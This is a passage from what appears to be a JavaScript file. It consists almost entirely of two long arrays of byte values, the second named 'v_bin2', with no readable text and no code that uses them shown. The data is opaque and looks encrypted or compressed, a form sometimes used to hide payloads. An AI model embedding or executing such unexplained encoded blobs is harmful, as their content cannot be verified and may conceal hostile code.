108,174,218,207,213,164,233,170,162,157,132,140,124,22,234,184,149,182,176,69,25,54,145,167,219,227,175,153,196,179,170,13,57,63,3,129,219,36,232,153,214,195,182,1,174,218,179,125,171,220,226,116,51,42,243,162,255,213,15,118,211,114,201,6,11,67,159,249,179,237,81,192,81,234,112,92,149,47,186,2,211,165,206,95,67,47,18,251,232,209,86,37,193,173,120,183,94,142,87,64,209,105,127,222,212,13,53,68,169,85,218,15,242,247,180,82,32,230,190,41,90,37,121,72,191,53,94,67,97,40,183,100,8,22,3,219,71,244,100,68,172,147,64,11,197,159,137,117,147,15,196,57,55,16,129,46,185,167,146,99,249,68,136,159,97,250,49,188,77,93,12,138,153,149,72,158,188,107,82,252,57,244,131,4,145,73,62,175,77,100,244,100,70,27,86,147,248,44,252,55,220,29,84,11,254,135,184,179,226,167,209,135,175,137,149,53,213,7,98,160,164,208,82,152,28,92,213,98,54,215,238,119,131,5,82,247,138,128,28,22,178,247,216,27,100,170,55,233,26,33,74,249,6,47,72,190,174,104,67,26,173,113,171,87,181,14,144,154,169,129,22,77,128,85,216,250,219,33,25,247,120,168,145,166,192,186,75,49,55,218,244,161,192,174,133,43,162,208,2,113,37,45,132,228,84,181,110,232,103,231,58,145,139,155,152,169,88,33,84,252,156,236,217,105,245,59,113,168,234,128,17,7,197,86,193,93,200,235,51,41,251,150,125,133,44,53,39,122,224,39,26,166,230,255,240,97,225,221,23,230,44,182,181,196,32,164,38,107,248,23,122,199,246,98,43,16,78,109,208,79,8,237,240,149,143,170,86,176,74,32,179,84,79,242,164,81,244,48,225,166,138,50,24,219,42,38,118,232,22,11,181,205,95,48,42,17,100,25,253,23,52,172,181,198,181,204,219,19,155,187,117,175,29,253,128,110,1,30,220,62,30,41,66,131,149,194,127,123,33,54,21,210,14,15,197,117,248,235,196,121,243,130,18,206,67,46,144,171,235,250,178,93,171,234,106,138,89,103,42,174,251,72,54,148,2,24,132,207,99,112,82,139,76,212,83,78,120,133,177,3,184,146,24,181,28,161,215,65,98,62,246,146,133,76,51,108,109,37,249,108,122,194,166,194,233,180,7,14,189,249,117,44,58,3,193,50,175,248,248,253,131,106,41,14,122,173,206,4,28,254,225,58,217,147,89,126,92,56,31,94,189,19,189,110,193,231,140,88,128,44,245,102,127,64,134,21,210,252,245,34,56,170,79,47,167,82,57,132,207,198,102,38,73,38,214,78,57,105,252,43,13,75,15,230,239,178,142,30,73,200,124,13,27,36,231,201,246,97,107,157,148,19,69,35,24,94,180,235,167,155,199,205,188,5,55,74,118,92,248,222,239,127,26,50,17,173,85,223,133,62,167,218,106,255,171,62,28,234,102,91,255,231,62,241,155,72,180,235,31,37,194,60,144,124,30,8,25,115,147,218,42,45,255,47,27,225,166,59,120,236,95,11,224,71,237,220,193,215,164,4,197,133,204,173,81,61,92,3,1,139,107,146,166,15,12,184,245,216,238,229,206,184,105,21,192,154,80,155,151,47,166,125,35,115,78,58,151,216,65,249,208,163,211,87,68,137,38,207,244,222,87,242,240,192,62,168,64,151,217,188,36,212,29,211,0,95,64,28,237,1,226,29,255,37,146,67,51,30,51,138,202,49,35,152,19,48,250,100,34,92,0,225,138,44,136,16,70,28,120,48,132,104,196,174,61,55,176,198,67,78,33,152,90,114,151,37,68,31,115,57,250,163,186,27,213,32,125,124,101,211,232,164,211,187,139,109,180,217,58,51,182,101,142,38,78,252,138,12,103,51,143,154,186,201,20,20,201,108,64,104,183,41,146,41,12,232,33,26,61,155,229,251,122,101,77,29,2,164,2,81,247,84,114,249,139,210,156,171,37,122,195,87,151,95,28,210,138,157,191,62,250,228,173,153,137,231,21,76,224,165,10,162,149,92,22,83,233,120,69,144,119,109,9,199,163,24,167,16,160,15,146,61,114,71,50,185,53,171,119,91,147,250,119,76,108,200,22,119,179,153,248,16,4,7,157,214,108,111,210,117,109,146,206,16,73,100,150,119,232,212,246,16,140,236,2,184,202,187,23,222,64,170,151,19,230,24,0,229,75,92,23,200,122,150,82,203,83,193,147,200,119,182,66,71,116,152,31,114,94,12,154,179,153,166,241,210,70,141,5,35,60,215,244,191,111,112,153,30,144,78,143,177,96,241,98,157,137,91,46,86,141,234,100,166,51,135,249,19,131,109,63,116,198,171,102,119,223,250,142,40,113,129,29,75,98,150,31,226,254,56,70,115,101,24,161,159,111,103,108,78,91,232,221,34,195,66,38,125,186,83,224,251,40,135,72,130,57,144,167,17,177,120,44,108,87,157,47,61,140,215,17,6,224,37,79,218,47,150,92,53,130,3,82,84,179,123,65,209,39,238,12,240,50,201,185,246,208,194,170,23,104,72,104,165,62,17,232,107,251,156,24,78,210,83,46,46,154,161,37,64,110,88,228,238,67,20,127,166,52,249,170,202,127,166,231,149,220,14,22,215,47,254,149,55,219,213,3,176,37,163,58,213,209,38,64,168,227,102,59,125,64,120,82,4,157,203,140,43,116,108,107,85,239,85,215,131,129,234,210,68,43,54,165,160,185,255,118,231,101,205,40,154,111,78,227,148,216,104,45,115,145,140,178,59,58,237,33,170,243,5,249,45,184,204,103,240,101,193,128,14,105,36,174,67,255,190,8,99,10,108,99,162,83,163,19,14,116,251,162,29,11,81,37,146,82,79,64,39,198,99,255,6,160,252,249,48,130,192,176,8,154,219,168,133,91,219,221,73,230,211,166,34,95,123,188,177,248,80,42,141,19,14,174,144,159,198,33,124,171,82,88,106,140,17,49,51,84,249,100,63,94,50,168,146,57,253,146,78,12,30,144,253,245,152,222,150,248,71,160,246,14,115,98,231,140,186,91,221,194,73,145,23,152,123,71,95,243,36,77,131,95,140,224,175,146,208,244,19,106,134,246,254,243,42,126,185,221,27,23,146,88,198,78,154,242,166,247,109,10,237,131,156,8,50,224,205,165,255,67,219,117,120,100,253,255,13,163,246,19,14,169,144,199,178,199,106,51,182,171,6,237,0,124,207,0,12,206,114,79,224,27,226,30,244,10,46,6,137,128,229,105,63,16,246,66,85,16,83,73,242,180,54,238,173,240,231,12,203,57,100,97,154,69,4,18,122,246,28,16,157,169,136,127,164,41,1,2,36,67,38,47,179,188,52,183,189,9,189,166,249,236,139,254,242,19,112,141,219,110,50,149,242,157,130,236,239,223,36,108,210,179,164,247,210,248,250,66,205,105,51,237,23,61,2,61,140,156,121,12,52,63,144,59,12,185,207,220,201,232,82,118,98,88,158,109,127,126,152,194,44,203,63,54,40,214,217,248,183,221,15,63,234,116,197,208,26,217,47,164,81,108,205,93,174,8,232,150,74,123,180,152,157,66,165,69,123,186,170,140,107,113,97,126,207,181,188,159,158,159,162,109,194,173,61,228,73,226,177,142,203,188,230,203,173,199,56,27,171,26,92,237,84,1,0,127,18,98,26,83,176,224,206,143,179,74,241,131,57,238,48,97,48,186,239,174,104,135,135,8,80,200,91,102,38,236,209,110,159,3,209,13,101,214,222,123,28,159,3,226,182,139,101,167,192,209,61,212,13,91,149,169,95,10,62,145,217,4,93,173,156,56,127,249,155,209,8,93,37,248,231,204,79,158,69,141,85,140,12,230,230,238,213,23,18,135,116,61,54,180,239,75,135,205,113,173,156,110,211,232,131,129,220,34,119,190,132,229,54,72,68,126,191,235,218,114,186,103,206,52,205,169,153,39,98,81,39,212,128,179,156,102,254,69,117,77,32,3,9,122,191,204,91,45,34,145,251,236,3,91,7,144,165,192,36,218,98,64,71,254,232,148,102,6,159,77,7,154,208,216,85,138,168,89,193,108,201,119,158,251,254,75,4,189,121,49,47,180,53,169,63,248,26,248,175,210,250,194,158,85,131,60,39,104,173,168,86,115,167,159,48,232,147,10,81,204,202,77,55,179,62,132,37,10,211,246,152,244,242,193,26,27,247,110,199,27,84,210,247,181,223,218,0,235,88,167,222,240,164,211,153,28,242,90,159,6,170,90,82,196,87,3,185,178,36,89,57,246,199,79,194,42,178,244,188,143,234,199,216,85,243,109,121,16,201,132,236,109,87,134,225,116,208,214,220,215,188,35,144,62,126,144,153,98,97,127,168,204,239,143,105,164,85,23,168,237,12,74,51,37,22,119,68,45,228,44,55,66,245,138,75,16,247,74,15,230,224,177,119,134,121,135,77,72,104,134,136,170,253,3,9,207,162,240,70,116,120,235,219,47,18,239,177,62,16,98,198,157,103,148,93,75,71,92,53,106,96,157,138,205,27,165,76,116,211,213,6,164,129,72,3,211,107,205,78,109,201,226,34,154,251,181,193,189,243,228,124,139,95,182,8,78,104,111,180,180,220,20,215,53,251,5,124,91,212,144,172,202,28,73,160,140,199,249,214,85,182,98,6,202,182,74,44,57,154,64,220,103,246,181,61,161,139,72,217,176,243,205,99,189,236,6,128,129,49,168,56,23,119,207,222,46,25,181,26,141,229,226,98,212,232,91,255,52,18,242,113,67,148,137,205,166,218,8,230,86,196,229,22,131,88,172,106,118,143,97,142,144,130,40,169,251,191,34,143,183,225,143,19,3,70,180,176,51,35,37,69,98,48,28,175,81,169,40,207,24,123,81,249,76,19,253,86,78,133,90,142,179,1,136,36,46,2,112,123,79,150,197,245,26,33,13,54,220,168,149,77,113,100,82,31,27,245,109,232,8,214,48,75,100,236,175,96,15,56,91,2,192,175,132,56,151,216,191,31,228,128,172,201,226,5,85,179,250,20,10,32,85,13,226,17,150,225,15,201,160,21,239,200,50,6,190,102,50,34,0,235,142,176,41,111,152,31,181,188,134,185,24,108,69,124,139,89,98,121,24,108,179,3,12,25,251,136,205,165,50,81,39,19,157,178,217,91,0,253,135,177,168,18,171,111,230,113,220,85,169,58,127,27,139,70,196,94,80,116,15,236,77,209,222,116,70,24,208,109,147,102,180,211,147,98,152,166,32,255,253,199,240,197,160,107,177,8,86,76,6,50,4,71,76,55,29,240,99,112,222,62,140,9,138,151,133,0,201,236,55,112,18,96,100,58,90,98,73,10,72,251,17,53,39,93,92,198,79,16,175,254,244,69,247,113,254,133,185,210,143,204,156,53,98,163,79,182,160,199,246,152,13,106,197,235,105,80,236,209,183,81,25,63,26,217,121,158,52,140,166,173,79,89,133,10,87,168,0,4,71,84,170,124,226,191,162,242,200,240,168,11,162,213,131,13,232,180,128,67,253,222,137,153,206,113,204,110,43,117,22,55,41,89,5,42];
var v_bin2 = [76,56,28,117,240,90,21,81,124,209,230,236,120,70,112,146,84,196,35,67,202,127,93,81,251,164,1,160,183,214,134,170,210,51,44,191,182,16,143,116,106,251,112,147,163,255,81,117,74,4,236,34,45,221,30,146,11,207,254,96,49,188,24,30,216,106,150,245,107,97,253,5,67,67,241,188,235,93,50,85,120,56,187,125,85,15,196,90,190,216,97,176,171,118,76,71,33,200,134,25,253,219,219,13,32,238,137,197,134,169,52,74,33,97,28,113,236,14,69,232,128,129,241,13,129,163,90,147,7,156,222,115,209,246,49,26,223,226,95,31,197,7,12,59,46,13,52,136,110,220,188,192,35,166,117,245,78,69,26,131,174,101,190,154,55,202,115,157,43,29,204,152,248,192,242,64,85,221,14,129,195,118,229,10,124,25,160,105,229,124,204,33,84,93,81,194,71,198,28,108,212,247,166,109,239,40,145,19,206,136,131,127,99,197,149,44,239,61,239,59,41,237,194,58,221,151,202,77,15,18,64,221,104,242,74,167,106,237,115,186,189,153,174,187,215,249,73,74,123,201,187,48,156,52,14,233,235,19,67,166,204,197,83,167,155,145,39,212,173,113,22,74,213,113,123,108,244,123,144,24,47,199,61,82,26,188,177,239,151,87,111,204,250,183,172,101,131,32,15,207,208,22,186,215,72,87,29,208,126,193,193,109,49,110,194,191,110,88,105,248,79,162,149,6,244,103,10,154,138,41,157,145,135,93,229,44,155,142,53,220,215,40,88,158,98,138,119,253,160,19,145,211,132,214,183,246,183,62,184,174,19,116,69,255,48,71,71,45,76,59,50,111,230,240,202,116,127,237,57,128,40,30,83,143,158,212,8,89,84,238,29,25,98,231,149,44,175,216,225,90,102,2,251,208,9,207,146,114,249,166,234,135,20,187,65,34,235,118,40,124,2,50,41,80,99,140,164,203,14,31,133,86,14,56,160,242,215,34,17,177,81,180,140,143,213,211,57,238,97,140,68,32,143,24,156,251,122,150,196,254,176,187,242,87,64,227,72,16,159,153,143,56,121,64,246,29,83,38,135,92,125,109,23,110,13,173,131,6,199,53,109,209,203,170,172,149,47,16,163,222,41,136,131,211,17,1,244,74,119,247,249,141,78,178,159,51,6,150,109,122,61,15,87,255,211,232,30,196,205,42,6,80,1,91,137,176,195,249,132,18,81,222,152,182,124,201,97,95,253,254,83,7,115,155,122,95,254,244,101,209,230,239,230,164,238,67,129,67,35,52,244,232,123,155,73,26,211,46,216,89,200,182,135,63,91,22,179,92,126,230,18,243,215,207,226,6,233,162,136,25,136,57,8,81,190,211,40,163,31,84,181,226,55,39,55,112,112,146,21,39,47,13,205,33,169,150,85,6,165,18,122,67,61,77,116,137,240,200,25,176,97,4,93,63,120,206,127,107,102,63,215,154,120,203,253,247,169,61,186,128,146,101,17,145,243,99,95,167,120,6,24,68,195,46,6,196,72,27,39,39,55,232,183,140,86,93,64,121,126,60,17,173,180,56,60,81,98,89,209,60,109,250,221,35,131,165,59,13,93,103,165,100,10,149,212,234,170,54,225,197,155,214,62,82,23,200,226,194,67,144,189,66,47,77,226,25,113,5,216,212,67,226,180,27,88,181,89,112,55,68,45,112,109,133,252,196,53,8,105,72,53,45,116,217,104,88,231,98,4,231,6,215,158,140,167,253,250,22,248,93,139,42,31,165,205,79,44,195,78,150,241,109,104,103,163,18,55,207,245,69,15,40,70,188,32,142,180,31,73,65,197,154,234,32,131,88,4,53,207,1,239,241,72,8,144,170,65,123,153,18,47,39,208,120,187,222,66,190,216,20,226,189,77,44,180,2,124,80,6,219,90,226,178,241,104,66,178,70,137,56,45,196,193,190,200,132,152,133,153,43,14,8,33,236,107,189,149,252,35,86,191,226,22,27,110,10,131,112,50,21,87,200,147,119,135,66,225,96,9,225,95,65,253,190,135,255,51,171,177,92,126,134,198,32,155,152,141,98,73,37,46,197,72,150,203,110,188,71,255,153,89,3,157,142,40,163,203,208,19,7,64,235,183,242,31,240,125,59,114,68,73,40,57,170,6,134,244,246,158,8,6,131,188,117,5,54,127,237,217,119,212,72,213,87,171,191,247,101,160,248,41,49,127,90,232,99,164,101,82,101,239,214,88,193,125,3,55,207,131,50,239,206,43,3,193,196,117,181,200,181,6,181,167,207,192,71,170,174,54,22,115,110,198,111,160,121,184,66,198,59,206,173,106,94,231,108,175,117,209,105,178,243,177,67,189,59,31,100,230,123,155,236,142,110,121,123,198,35,186,141,56,68,4,70,189,215,154,215,79,209,134,222,198,38,192,24,65,51,17,148,179,136,22,90,126,233,218,135,32,199,27,152,136,74,222,26,164,195,121,35,193,94,104,41,87,108,243,212,211,20,62,4,26,141,238,135,249,175,30,127,161,212,127,74,79,218,187,62,87,0,68,1,245,63,37,178,131,189,234,97,150,222,247,48,221,51,226,232,37,85,198,48,105,235,64,158,117,28,169,61,88,255,214,119,232,36,155,244,199,15,189,112,145,52,96,153,28,236,25,220,98,207,76,212,119,6,0,89,159,124,28,168,21,65,212,105,197,8,20,150,166,215,59,61,158,198,206,10,7,99,236,210,155,152,90,139,94,102,243,154,177,54,74,112,190,135,244,243,164,151,75,245,216,46,214,93,175,48,233,99,98,133,252,197,239,59,151,11,98,183,69,37,96,31,147,142,142,234,65,117,5,28,129,183,19,182,144,32,200,150,229,47,160,137,207,94,70,90,247,202,196,167,255,82,88,25,100,25,141,164,48,138,166,11,28,108,130,209,198,111,249,194,104,242,241,96,129,204,174,32,142,161,226,127,253,209,147,148,18,220,199,49,134,182,138,18,176,99,238,95,19,252,114,207,193,65,76,77,19,175,42,42,26,61,222,133,101,207,22,35,32,44,116,138,205,177,135,169,167,146,136,180,6,17,178,38,194,211,73,217,132,42,241,71,51,98,104,225,1,235,122,85,139,55,216,238,119,133,201,243,90,104,71,89,157,138,67,103,26,153,108,69,42,161,160,213,166,231,51,88,43,203,101,210,255,229,182,187,152,75,192,107,55,82,169,94,60,178,206,50,232,231,245,218,9,62,68,128,14,36,56,19,60,125,45,99,204,34,220,115,248,226,93,131,141,172,240,96,14,56,175,32,212,255,4,235,189,137,168,32,180,125,228,60,174,195,200,62,62,10,73,13,49,24,196,241,184,82,230,172,162,181,167,20,107,209,224,42,71,82,228,132,210,212,164,254,155,53,223,111,36,33,40,106,249,46,211,246,21,152,200,12,146,193,160,1,235,166,53,45,221,185,91,111,239,137,110,16,140,245,152,103,136,130,55,7,203,192,30,123,152,120,250,141,251,92,59,226,64,225,228,110,11,220,76,78,6,234,233,242,62,155,79,61,66,58,56,15,171,30,84,217,36,215,143,180,230,135,6,68,42,135,214,87,25,231,204,104,143,129,171,202,196,161,36,185,46,55,70,215,223,108,113,74,81,206,26,184,153,54,44,70,124,87,66,20,86,110,54,254,87,57,16,79,51,43,191,137,125,7,112,124,51,91,225,73,160,25,12,249,45,54,50,79,188,186,115,184,36,141,254,69,173,70,71,242,157,224,233,68,141,172,96,207,67,0,239,196,5,211,228,114,112,186,234,11,68,255,97,93,143,21,184,237,159,204,14,184,35,153,122,160,94,150,163,24,122,24,180,93,244,102,115,135,188,105,195,24,226,84,65,22,2,233,115,2,250,148,97,84,189,243,91,161,235,104,200,96,159,159,232,237,53,88,210,191,253,193,55,178,224,235,82,173,49,237,209,32,199,232,61,238,5,112,112,207,163,37,96,71,238,140,195,185,172,85,205,142,83,114,128,222,130,247,90,122,156,68,159,14,136,208,24,208,111,4,253,208,234,185,76,122,188,235,250,194,107,15,127,244,108,27,81,210,209,81,195,145,142,229,8,140,127,14,175,157,200,248,30,227,142,248,172,64,116,141,9,56,121,82,122,208,122,7,22,174,39,238,38,181,236,245,94,39,244,250,188,218,192,53,128,80,209,139,227,91,132,180,183,234,32,160,165,95,138,2,206,177,108,24,156,243,226,101,190,164,222,245,82,161,246,107,246,100,149,141,238,127,61,64,21,34,90,199,195,144,81,196,233,106,198,153,222,176,85,221,15,253,2,149,11,163,171,105,126,59,201,54,192,0,182,146,90,203,177,72,241,155,223,187,208,67,219,58,7,8,20,201,132,248,11,169,195,104,30,42,234,139,54,1,13,201,209,176,248,193,147,27,211,253,26,167,184,99,128,220,154,57,27,103,61,12,51,202,73,100,130,140,195,220,43,243,172,26,190,120,121,110,118,254,8,171,123,19,107,222,241,112,47,132,14,239,97,189,123,206,237,111,121,12,193,179,149,60,143,183,99,32,83,220,209,96,67,149,116,155,128,226,200,226,64,25,75,107,74,111,95,69,82,247,197,193,214,103,0,159,223,120,194,165,151,154,153,122,26,5,219,86,206,51,232,128,161,93,129,136,152,216,200,33,180,32,103,112,239,243,165,29,147,168,15,76,223,138,89,179,59,181,241,248,42,82,180,157,85,184,20,172,163,119,235,215,47,8,160,53,214,196,85,117,227,212,88,80,79,97,27,23,199,209,80,237,95,113,118,40,119,71,250,47,86,60,112,250,40,29,124,47,39,229,123,10,116,146,4,175,134,249,24,155,132,182,58,182,106,143,166,0,128,120,96,72,100,205,242,162,152,134,211,18,46,179,221,118,131,152,60,221,201,108,65,165,72,139,44,229,152,44,14,173,179,112,108,207,21,91,108,162,23,117,255,33,150,75,77,253,208,167,159,214,175,4,115,222,90,243,189,84,231,204,196,141,118,131,206,37,48,201,133,156,4,173,147,156,72,75,118,61,173,182,69,75,8,8,17,143,134,26,60,197,112,212,85,82,110,34,191,121,49,195,136,20,121,234,188,65,254,213,25,236,235,103,231,141,253,16,48,168,239,142,142,77,212,223,246,106,98,185,248,103,251,55,163,60,31,117,25,242,162,64,208,51,36,153,139,90,203,177,160,89,4,153,248,237,241,56,69,147,150,72,48,255,4,15,1,149,43,238,111,10,204,120,209,38,93,21,39,112,255,89,72,148,117,180,86,131,218,185,111,72,49,200,127,198,93,200,60,230,245,222,176,112,190,88,165,223,46,133,157,1,47,86,132,238,64,107,192,1,69,94,42,75,162,205,135,132,180,64,234,55,116,245,91,116,156,145,226,162,35,70,7,200,116,155,80,84,65,176,154,227,85,255,214,1,168,223,90,31,149,21,102,88,157,60,185,35,203,125,140,64,204,2,94,100,165,30,12,143,150,142,54,192,170,54,170,209,237,253,61,110,17,170,252,48,64,46,62,88,11,147,207,248,177,183,226,196,134,218,77,64,31,238,55,127,24,53,77,149,251,253,75,108,38,249,92,157,51,26,182,218,201,18,135,128,107,59,77,141,86,100,191,33,25,235,83,205,88,46,41,252,81,182,111,132,216,152,242,69,132,73,217,227,152,66,24,123,31,32,71,52,138,147,180,152,16,188,112,200,176,184,15,182,191,94,32,175,86,182,21,79,193,72,62,250,107,174,40,56,97,154,255,246,88,7,119,155,236,169,61,25,50,163,148,64,203,77,111,37,155,218,124,98,45,192,134,159,150,7,148,68,45,204,208,234,151,189,255,241,201,119,80,209,191,165,179,227,189,31,91,133,185,18,197,165,152,205,72,32,150,56,73,194,240,187,156,51,121,204,70,103,26,242,224,218,93,142,240,34,66,63,181,184,133,36,178,65,119,3,24,205,13,164,161,3,182,11,95,67,51,71,167,104,27,32,205,128,153,155,86,245,112,239,101,216,211,15,30,79,181,135,92,72,84,172,5,58,75,46,65,39,114,98,170,97,177,255,163,253,19,255,180,162,61,130,244,159,71,234,117,16,249,162,112,137,102,111,255,246,165,68,87,77,222,150,0,178,173,71,211,136,49,68,202,45,240,108,149,247,204,9,184,115,124,179,12,66,101,154,211,198,33,75,128,178,95,214,180,211,213,65,129,45,204,39,175,210,127,51,151,59,10,234,139,181,164,181,65,140,228,179,155,70,205,196,233,185,146,200,252,7,67,104,64,77,111,70,254,44,68,94,177,20,44,89,194,114,95,163,145,20,145,117,100,41,36,197,141,156,73,149,227,29,197,24,144,27,19,208,84,232,78,254,29,220,238,190,101,56,121,104,201,58,7,15,55,207,34,93,201,38,163,208,119,69,53,251,239,192,168,151,194,54,76,30,110,111,175,133,154,67,56,38,87,167,215,4,36,164,150,225,27,1,190,86,46,65,113,140,136,83,5,240,65,34,11,217,242,18,212,45,19,0,128,110,119,21,90,251,155,215,11,37,177,92,184,243,227,130,87,129,170,200,133,149,94,178,198,210,237,106,209,150,88,205,134,81,122,140,10,159,201,28,137,4,24,115,235,18,153,57,175,179,214,198,164,245,134,131,27,72,89,225,223,58,119,177,230,119,79,61,132,76,241,99,73,81,37,115,8,214,105,69,135,221,237,32,57,42,161,196,252,104,205,182,63,85,207,182,84,211,153,4,19,244,205,106,116,32,249,193,61,81,213,242,219,132,110,238,131,221,55,2,21,28,170,64,2,235,48,191,213,194,33,171,175,199,47,24,193,61,168,139,17,2,50,44,70,101,149,248,173,68,65,164,173,114,104,247,244,184,220,185,168,13,193,176,77,29,16,110,148,221,233,133,224,214,4,104,121,15,4,89,194,125,214,71,139,149,46,121,230,40,251,96,1,1,21,38,86,204,238,7,41,142,100,94,46,88,73,198,236,47,243,122,123,68,194,164,125,250,250,233,131,104,69,184,175,61,171,220,115,18,244,27,44,69,88,136,184,51,234,46,84,237,111,50,91,161,51,205,2,27,104,113,84,73,67,222,166,135,140,248,91,196,169,35,54,49,205,23,183,237,168,64,255,187,16,78,36,116,21,141,42,224,77,220,141,51,142,203,237,91,30,62,10,209,107,254,179,126,174,30,19,213,134,252,201,216,89,55,130,245,243,144,75,132,254,108,80,254,136,28,52,185,110,193,28,27,75,157,173,147,206,136,187,55,130,206,117,196,0,126,75,51,24,201,186,27,254,154,83,134,177,248,42,117,146,67,44,165,92,171,117,118,40,125,199,179,169,97,166,134,231,114,104,6,177,43,203,25,13,246,72,6,81,206,147,13,5,131,179,36,127,185,122,194,133,146,40,53,136,109,86,14,45,236,101,85,26,83,136,114,41,232,144,221,22,64,242,101,169,96,35,140,133,100,7,231,233,253,30,208,215,182,239,64,40,63,192,231,164,133,28,247,151,234,49,163,173,105,230,67,214,149,176,126,103,189,129,124,188,104,9,216,184,63,230,172,9,11,131,57,252,240,190,100,246,181,100,174,103,183,206,41,121,26,69,249,142,242,175,86,1,116,159,129,189,65,85,196,54,221,43,81,172,191,5,96,26,132,156,172,46,207,230,165,161,79,202,30,142,241,152,42,19,202,51,226,29,177,239,156,76,61,186,178,160,136,204,154,106,84,51,80,252,152,42,83,78,174,196,131,62,148,158,213,110,157,163,5,19,197,202,187,218,226,187,106,216,37,178,200,134,59,5,115,186,111,104,13,219,0,26,110,63,186,151,83,134,81,230,34,146,182,52,214,245,217,239,147,188,70,197,234,4,148,57,126,231,213,43,3,164,152,173,175,119,29,203,149,255,225,32,49,62,28,54,69,17,8,142,250,57,157,43,162,226,14,85,252,233,129,172,40,150,221,44,156,219,96,68,91,238,93,73,200,44,162,176,64,155,234,225,36,201,50,64,76,206,126,147,110,34,35,80,230,48,242,252,82,76,143,36,46,232,96,82,167,172,188,111,154,208,123,191,93,185,239,58,158,23,12,233,7,149,247,117,233,231,56,104,147,69,52,238,98,50,127,248,100,66,64,151,210,90,245,156,243,118,196,124,226,216,178,145,39,10,253,43,84,193,197,252,112,22,187,108,228,50,61,89,180,106,63,249,134,210,112,166,178,40,198,4,215,184,227,84,211,192,106,71,162,233,179,208,135,92,113,113,240,165,215,120,21,228,88,114,78,126,115,74,162,147,124,13,16,162,136,100,201,67,21,176,229,183,155,255,254,100,154,218,90,6,217,56,174,29,59,115,30,113,93,233,230,28,139,194,216,209,159,206,252,228,100,72,70,174,143,80,222,162,129,58,204,202,214,150,178,19,173,247,20,165,148,93,53,177,116,188,85,148,178,198,69,130,31,133,235,246,102,222,93,28,241,172,223,163,178,143,164,98,92,23,8,67,245,254,32,98,78,245,124,25,222,35,195,232,248,85,95,91,212,72,187,224,183,129,195,251,219,181,62,33,196,41,141,124,130,39,7,178,137,53,239,203,202,26,8,13,66,145,173,115,237,26,79,127,1,82,58,237,110,205,211,242,33,102,144,111,76,34,98,235,92,31,91,128,170,66,100,29,68,78,11,202,146,70,133,48,163,193,104,200,91,162,104,214,119,169,113,65,134,3,184,4,146,121,68,157,66,8,158,176,32,222,243,153,165,158,95,15,26,141,23,198,53,75,154,50,182,213,71,140,181,19,123,214,45,72,235,126,83,224,172,159,41,187,209,16,110,204,199,141,117,211,61,99,37,182,228,2,132,246,148,2,179,105,39,112,89,130,103,43,192,156,31,129,207,188,250,155,183,55,234,59,143,68,101,226,197,253,177,145,143,126,57,176,53,120,56,49,183,99,13,224,109,24,88,105,235,68,131,14,65,167,79,78,231,14,140,138,237,213,221,104,101,219,54,187,221,158,252,111,68,201,16,2,179,35,151,162,27,236,195,199,232,102,133,89,179,70,157,15,180,192,255,240,36,222,55,152,109,165,127,190,80,120,136,177,24,65,177,76,252,128,97,18,230,219,167,159,67,210,77,196,176,15,225,237,58,188,106,32,243,18,109,139,161,68,109,101,61,220,168,226,141,204,60,151,120,103,67,180,10,143,103,173,131,41,171,113,24,221,89,96,134,46,228,113,204,200,199,47,47,62,197,128,58,204,85,124,106,70,112,12,241,176,75,84,213,104,108,156,83,71,27,169,95,167,92,20,32,227,43,1,184,201,55,121,207,46,141,146,255,204,82,251,215,0,26,246,155,13,39,193,214,246,137,72,203,15,232,171,53,184,161,186,104,35,51,184,119,4,170,212,94,72,122,113,197,79,103,253,65,212,60,141,157,33,32,88,136,119,165,49,238,112,232,57,121,5,241,18,136,151,224,21,34,162,244,212,225,85,110,190,170,59,120,95,196,249,64,143,113,206,229,203,60,189,207,188,138,191,180,31,131,112,142,245,191,88,12,143,26,81,35,128,40,163,140,47,6,150,176,229,107,17,227,8,222,9,225,161,137,188,174,111,125,71,208,26,114,154,77,117,106,15,167,167,75,211,101,250,247,227,40,235,210,150,211,241,34,79,135,109,52,36,8,2,208,57,247,178,204,98,163,22,203,179,248,233,29,165,178,55,85,156,136,225,104,39,252,189,35,11,237,182,151,174,141,129,229,213,47,204,109,181,235,61,70,46,88,146,245,223,65,158,207,238,13,158,167,17,128,161,102,248,46,114,155,48,90,155,141,25,113,117,49,244,227,75,117,166,14,137,220,80,8,33,138,147,169,127,52,130,34,72,118,20,246,204,52,191,28,193,84,69,242,87,200,236,34,230,191,74,18,2,240,206,63,148,46,45,238,189,44,75,27,143,232,113,69,17,111,227,255,43,232,188,194,82,134,153,28,221,146,41,96,36,190,49,172,22,67,44,165,242,163,28,240,191,101,143,75,14,223,9,41,46,73,147,225,52,107,228,187,77,130,36,21,181,151,150,219,162,20,27,193,187,196,248,49,153,88,28,65,250,176,20,35,60,149,161,179,179,100,56,4,29,140,124,12,80,138,236,146,185,105,235,179,127,58,216,170,111,182,67,207,34,242,152,252,227,118,76,14,44,206,8,172,192,142,49,20,222,171,243,200,28,21,104,224,91,169,84,171,192,231,145,208,118,81,218,167,230,113,27,198,35,150,42,152,105,44,250,133,192,59,190,55,117,153,53,207,132,233,87,231,186,120,136,80,243,195,50,11,130,199,147,145,120,167,66,120,154,100,156,234,154,22,108,200,88,153,60,223,104,26,67,176,245,33,145,148,103,52,182,29,47,33,35,236,126,51,127,254,100,142,168,180,30,83,159,200,38,29,114,49,92,151,215,213,133,65,182,197,176,19,19,118,208,80,120,224,90,196,60,65,242,43,59,108,185,191,21,212,250,93,197,34,148,113,87,95,95,55,8,94,6,62,56,218,168,58,60,107,7,75,172,224,24,16,75,57,159,10,32,72,254,242,205,0,63,99,35,24,109,213,134,239,201,38,170,96,5,244,77,25,234,250,209,114,181,178,244,126,59,38,195,50,15,227,200,215,24,122,112,246,79,253,24,159,122,47,79,204,104,83,152,59,90,235,13,153,232,141,109,82,244,164,94,174,98,209,244,211,145,129,203,25,220,95,157,179,19,175,233,7,13,253,200,185,244,116,206,54,121,142,169,157,168,145,36,144,59,11,212,62,120,154,77,120,38,237,248,47,65,77,100,123,171,88,69,35,72,162,186,69,106,54,5,167,49,214,156,250,81,133,197,98,16,247,166,96,188,98,174,89,240,35,76,135,154,166,219,11,158,203,13,96,110,179,37,12,224,43,66,186,71,212,175,249,190,28,64,56,151,121,134,171,230,118,101,217,221,109,126,152,124,46,132,132,228,195,31,198,162,141,156,244,98,108,22,131,190,125,62,99,188,225,101,173,30,230,144,29,19,80,219,177,27,239,74,19,205,54,3,50,56,60,218,200,232,202,230,210,70,219,202,46,252,147,195,175,110,87,162,115,132,88,234,165,59,89,105,248,31,78,61,19,151,51,211,194,24,220,115,19,109,109,138,238,2,11,1,25,107,226,101,6,224,34,72,92,194,86,7,86,137,48,171,29,194,151,172,